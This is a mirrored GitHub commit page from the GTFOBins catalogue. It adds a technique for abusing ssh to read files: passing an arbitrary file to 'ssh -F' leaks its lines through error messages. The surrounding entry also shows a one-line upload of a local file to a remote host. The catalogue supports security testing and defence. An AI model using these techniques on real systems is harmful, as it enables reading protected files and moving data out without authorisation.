mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 08:48:54 +01:00 
			
		
		
		
	Add file-read to ssh
This commit is contained in:
		
				
					committed by
					
						 Andrea Cardaci
						Andrea Cardaci
					
				
			
			
				
	
			
			
			
						parent
						
							bf5cec98f3
						
					
				
				
					commit
					765d2d1aa4
				
			| @@ -17,4 +17,9 @@ functions: | ||||
|         RPATH=where_to_save | ||||
|         LPATH=file_to_send | ||||
|         ssh $HOST "cat > $RPATH" < $LPATH | ||||
|   file-read: | ||||
|     - description: Read lines from text files (error-based approach). | ||||
|     - code: | | ||||
|         LFILE=file_to_read | ||||
|         ssh -F $LFILE localhost | ||||
| --- | ||||
|   | ||||
		Reference in New Issue
	
	Block a user